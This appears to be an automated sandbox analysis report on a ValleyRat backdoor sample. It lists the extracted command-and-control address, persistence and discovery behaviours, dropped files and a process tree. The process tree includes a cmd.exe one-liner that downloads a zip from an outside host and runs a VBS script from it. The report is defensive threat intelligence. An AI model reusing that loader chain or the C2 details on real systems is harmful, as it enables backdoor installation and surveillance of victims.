Analysis
- user interaction
yes - max time kernel
900s - max time network
903s - platform
windows10-2004_x64 - resource
win10v2004-20260911-en - resource tags
- submitted
26/10/2026, 14:17
General
- Target OP-5.zip
- Size 5.1MB
- Sample261026-rlxcmaxsg1
- SHA256 244fd5ecb1fe8ec99bc9006015ad9b42193f9dc6b6dc953fa4e723ca86d7f966
Malware Config
Extracted
-
valleyrat_s2
-
156.234.7.14:8001
Signatures
- Family: ValleyRat
ValleyRat stage2 is a backdoor written in C++.
- Drops file in Drivers directory 1 IoCs
- Sets service image path in registry 3 TTPs 2 IoCs
This determines the executable launched when a service starts. It can be used to establish persistence.
- Executes dropped EXE 3 IoCs
- Loads dropped DLL 1 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Enumerates connected drives 3 TTPs 22 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Enumerates video capture drivers 2 TTPs 1 IoCs
Queries the legacy Video for Windows capture drivers. This is commonly abused by RATs to check for available webcams on the system before reporting to their C2.
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
- System Location Discovery: System Language Discovery 1 TTPs 4 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: LoadsDriver 64 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Windows\Explorer.exeC:\Windows\Explorer.exe /idlist,,C:\Users\Admin\AppData\Local\Temp\OP-5.zip1⤵
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C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵
-
C:\Users\Admin\Desktop\OP-5\NO-5.exe"C:\Users\Admin\Desktop\OP-5\NO-5.exe"1⤵
- Sets service image path in registry
- Adds Run key to start application
- Enumerates connected drives
- Enumerates video capture drivers
- System Location Discovery: System Language Discovery
- Suspicious behavior: LoadsDriver
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Public\cache.exeC:\Users\Public\cache.exe2⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c curl -L -o C:\DMRootCA.zip https://xzy-1469461515.cos.ap-singapore.myqcloud.com/DMRootCA.zip && if not exist C:\DMRootCA md C:\DMRootCA && tar -xf C:\DMRootCA.zip -C C:\DMRootCA && del C:\DMRootCA.zip && cscript //B //Nologo C:\DMRootCA\Optimizeinstallation.vbs2⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\curl.execurl -L -o C:\DMRootCA.zip https://xzy-1469461515.cos.ap-singapore.myqcloud.com/DMRootCA.zip3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\tar.exetar -xf C:\DMRootCA.zip -C C:\DMRootCA3⤵
-
-
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C:\Windows\System32\drivers\kvckiller.sysC:\Windows\System32\drivers\kvckiller.sys1⤵
- Executes dropped EXE
-
C:\Users\Public\svchostsr.exeC:\Users\Public\svchostsr.exe1⤵
- Sets service image path in registry
- Executes dropped EXE
- Loads dropped DLL
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: LoadsDriver
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
1Windows Service
1Privilege Escalation
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
1Windows Service
1Replay Monitor
Loading Replay Monitor...
Downloads
DMRootCA.zip
EmbeddedDriverService.sys
cache.exe
d3d9core.ax
libcef.dll
svchostsr.exe
kvckiller.sys
memory/4700-9-0x0000000003CF0000-0x0000000003D56000-memory.dmp
memory/4700-1-0x00000000031D0000-0x00000000031F2000-memory.dmp
memory/4700-20-0x0000000003CF0000-0x0000000003D56000-memory.dmp
memory/4700-19-0x0000000003CF0000-0x0000000003D56000-memory.dmp
memory/4700-18-0x0000000003CF0000-0x0000000003D56000-memory.dmp
memory/4700-17-0x0000000003CF0000-0x0000000003D56000-memory.dmp
memory/4700-16-0x0000000003CF0000-0x0000000003D56000-memory.dmp
memory/4700-15-0x0000000003CF0000-0x0000000003D56000-memory.dmp
memory/4700-14-0x0000000003CF0000-0x0000000003D56000-memory.dmp
memory/4700-13-0x0000000003CF0000-0x0000000003D56000-memory.dmp
memory/4700-12-0x0000000003CF0000-0x0000000003D56000-memory.dmp
memory/4700-10-0x0000000003CF0000-0x0000000003D56000-memory.dmp
memory/4700-0-0x00000000013B0000-0x00000000013B1000-memory.dmp
memory/4700-8-0x0000000003CF0000-0x0000000003D56000-memory.dmp
memory/4700-7-0x0000000003860000-0x00000000038C0000-memory.dmp
memory/4700-6-0x00000000031D0000-0x00000000031F2000-memory.dmp
memory/4700-24-0x0000000003CF0000-0x0000000003D56000-memory.dmp
memory/4700-26-0x0000000003CF0000-0x0000000003D56000-memory.dmp
memory/4700-28-0x0000000010000000-0x0000000010071000-memory.dmp
memory/4700-22-0x0000000003CF0000-0x0000000003D56000-memory.dmp
memory/4700-27-0x0000000003CF0000-0x0000000003D56000-memory.dmp
memory/4700-43-0x00000000031D0000-0x00000000031F2000-memory.dmp
memory/4700-42-0x00000000031D0000-0x00000000031F2000-memory.dmp
memory/4700-11-0x0000000003CF0000-0x0000000003D56000-memory.dmp
memory/4700-46-0x0000000003CF0000-0x0000000003D56000-memory.dmp
memory/4700-49-0x0000000010000000-0x0000000010062000-memory.dmp
memory/4700-48-0x0000000003CF0000-0x0000000003D56000-memory.dmp
memory/4700-73-0x0000000003CF0000-0x0000000003D56000-memory.dmp
memory/4700-75-0x0000000003CF0000-0x0000000003D56000-memory.dmp
memory/4700-84-0x0000000003CF0000-0x0000000003D56000-memory.dmp
memory/4700-76-0x0000000010000000-0x000000001001B000-memory.dmp
memory/4700-4-0x00000000031D0000-0x00000000031F2000-memory.dmp
memory/4700-5-0x00000000031D0000-0x00000000031F2000-memory.dmp
memory/4700-94-0x0000000003CF0000-0x0000000003D56000-memory.dmp
memory/4700-21-0x0000000003CF0000-0x0000000003D56000-memory.dmp
memory/4700-2-0x0000000003130000-0x00000000031B1000-memory.dmp
memory/4700-3-0x00000000031D0000-0x00000000031F2000-memory.dmp
memory/4808-111-0x0000000003B70000-0x0000000003BD6000-memory.dmp
memory/4808-98-0x0000000003B70000-0x0000000003BD6000-memory.dmp
memory/4808-97-0x00000000030E0000-0x0000000003102000-memory.dmp
memory/4808-106-0x0000000003B70000-0x0000000003BD6000-memory.dmp
memory/4808-110-0x0000000003B70000-0x0000000003BD6000-memory.dmp
memory/4808-109-0x0000000003B70000-0x0000000003BD6000-memory.dmp
memory/4808-108-0x0000000003B70000-0x0000000003BD6000-memory.dmp
memory/4808-107-0x0000000003B70000-0x0000000003BD6000-memory.dmp
memory/4808-113-0x0000000003B70000-0x0000000003BD6000-memory.dmp
memory/4808-104-0x0000000003B70000-0x0000000003BD6000-memory.dmp
memory/4808-103-0x0000000003B70000-0x0000000003BD6000-memory.dmp
memory/4808-102-0x0000000003B70000-0x0000000003BD6000-memory.dmp
memory/4808-101-0x0000000003B70000-0x0000000003BD6000-memory.dmp
memory/4808-100-0x0000000003B70000-0x0000000003BD6000-memory.dmp
memory/4808-96-0x00000000030E0000-0x0000000003102000-memory.dmp
memory/4808-99-0x0000000003B70000-0x0000000003BD6000-memory.dmp
memory/4808-105-0x0000000003B70000-0x0000000003BD6000-memory.dmp
memory/4808-95-0x00000000030E0000-0x0000000003102000-memory.dmp
memory/4808-114-0x00000000030E0000-0x0000000003102000-memory.dmp
memory/4808-115-0x00000000030E0000-0x0000000003102000-memory.dmp
memory/4808-117-0x00000000030E0000-0x0000000003102000-memory.dmp
memory/4808-118-0x00000000030E0000-0x0000000003102000-memory.dmp
memory/4808-119-0x00000000030E0000-0x0000000003102000-memory.dmp
memory/4808-122-0x0000000003AB0000-0x0000000003B16000-memory.dmp
memory/4808-127-0x0000000003AB0000-0x0000000003B16000-memory.dmp
memory/4808-126-0x0000000003AB0000-0x0000000003B16000-memory.dmp
memory/4808-125-0x0000000003AB0000-0x0000000003B16000-memory.dmp
memory/4808-124-0x0000000003AB0000-0x0000000003B16000-memory.dmp
memory/4808-123-0x0000000003AB0000-0x0000000003B16000-memory.dmp
memory/4808-121-0x0000000003AB0000-0x0000000003B16000-memory.dmp
memory/4808-120-0x0000000003AB0000-0x0000000003B16000-memory.dmp
memory/4808-91-0x00000000030E0000-0x0000000003102000-memory.dmp